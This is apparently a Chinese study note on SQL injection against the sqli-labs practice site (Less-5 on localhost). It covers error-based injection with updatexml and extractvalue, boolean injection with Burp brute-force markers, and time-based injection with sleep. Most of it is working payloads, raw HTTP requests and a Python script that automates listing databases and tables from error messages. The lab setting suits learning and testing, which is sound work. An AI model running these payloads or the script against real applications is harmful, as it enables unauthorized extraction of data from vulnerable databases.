SQL盲注
updatexml()
UPDATEXML()
用于更新XML文档的特定节点或元素,并将其替换为新值。
UPDATE Products
SET ProductInfo = UPDATEXML(ProductInfo, '/product/price', '20.99')
WHERE product_id = 1;
在这个示例中,UPDATEXML()
函数会更新 ProductInfo
列中的XML数据,将 /product/price
节点的值替换为 20.99
。这个更新只会应用于 product_id = 1
的行。
使用updatexml无需查询列的个数,原理就是参数不正确导致查询错误
select * from users where id =1 and updatexml(1,user(),1);
使用concat函数进行字符串拼接
select * from users where id =0 and updatexml(1,concat(0x7e,database()) ,1);
查询所有库名
SELECT SCHEMA_NAME
FROM INFORMATION_SCHEMA.SCHEMATA
获取数据库表名
select * from users where id =0 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)) ,1);
limit一个一个查看
获取字段名
GET /Less-5/?id=1'and+updatexml(1,concat(0x23,(select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='users'+limit+1,1)),1)--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
脚本编写
获取数据库名
首先需要通过报错注入获取数据库的数量
payload:id=1 ' and updatexml(1, concat(0x23, (SELECT count(*) FROM INFORMATION_SCHEMA.SCHEMATA)), 1) --
import re
import requests
# 配置目标URL
url = "http://127.0.0.1/Less-5/?id="
# 配置请求头
header = {
"Host": "127.0.0.1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
}
# 获取数据库数量
def get_database_count():
payload = "1 ' and updatexml(1, concat(0x23, (SELECT count(*) FROM INFORMATION_SCHEMA.SCHEMATA)), 1) -- "
response = requests.get(url + payload, headers=header)
# 提取错误信息中的数据库数量
count_match = re.search(r"XPATH syntax error: '#(\d+)'", response.text)
if count_match:
return int(count_match.group(1))
else:
return 0
if __name__ == "__main__":
print(get_database_count())
接下来写个函数存储数据库的库名
# 获取数据库名称
def get_databases():
database_count = get_database_count()
databases = []
for i in range(database_count):
payload = f"1' AND updatexml(1, concat(0x23, (SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {i}, 1)), 1) -- "
response = requests.get(url + payload, headers=header)
# 提取数据库名称
db_match = re.search(r"XPATH syntax error: '#([a-zA-Z0-9_]+)'", response.text)
if db_match:
databases.append(db_match.group(1))
return databases
获取数据库下的表名
首先获取数据库下,表的数量
def get_tables_count():
databases = get_databases()
db_tables = {}
for db_name in databases:
payload = f"1' and updatexml(1, concat(0x23, (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = '{db_name}')), 1) -- "
response = requests.get(url + payload, headers=header)
# 提取错误信息中的表数量
count_match = re.search(r"XPATH syntax error: '#(\d+)'", response.text)
if count_match:
table_count = int(count_match.group(1))
db_tables[db_name] = table_count
else:
db_tables[db_name] = 0
return db_tables
接下来获取数据库的表名
# 获取数据库下的表名
def get_tables():
db_tables = []
db_tables_count = get_tables_count()
for db_name, table_count in db_tables_count.items():
tables = []
for i in range(table_count):
payload = f"1' AND updatexml(1, concat(0x23, (SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+=+'{db_name}' limit {i}, 1)), 1) -- "
response = requests.get(url + payload, headers=header)
# 提取表名称
table_match = re.search(r"XPATH syntax error: '#([a-zA-Z0-9_]+)'", response.text)
if table_match:
table_name = table_match.group(1)
tables.append(table_name)
# 将数据库名称及其表名列表添加到二维数组中
db_tables.append([db_name, tables])
# 输出数据库名称及其对应的表名称
for db_info in db_tables:
db_name = db_info[0]
tables = db_info[1]
print(f"数据库 {db_name} 下有以下表:")
for table_name in tables:
print(table_name)
return db_tables
extractvalue()
extractvalue只需要两个参数
GET /Less-5/?id=1'and+extractvalue(1,concat(0x23,(SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+=+'SECURITY'+limit+0,1)))--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
与updatexml没什么区别
布尔注入
lenght函数
获取字符串长度
SELECT length(database())
substr()函数
用于截取字符串
从1开始计数
SELECT substr(database(),1,1)
ascii()函数
将字符串转换成ascii编码
SELECT ascii( substr(database(),1,1))
sleep()函数
睡眠函数,用于配合if函数使用
if()函数
if(sql语句,正确执行这,错误执行这个)
注入流程
首先判断数据库长度
GET /Less-5/?id=1'and+length(database())=1--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
判断出数据库的长度为8
接着爆出数据库的库名
利用bp爆破快速爆破出表名
GET /Less-5/?id=1'and+ascii(substr(database(),§1§,1))=§32§--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
最后再将ascii解码即可,剩下查询表名也是这个套路,但是要limit一个个查,有点慢。
时间注入
GET /Less-5/?id=10'and+if(length(database())=7,sleep(5),1)--+ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
原理就是如果数据库长度为xxx就延时,如果不是就执行1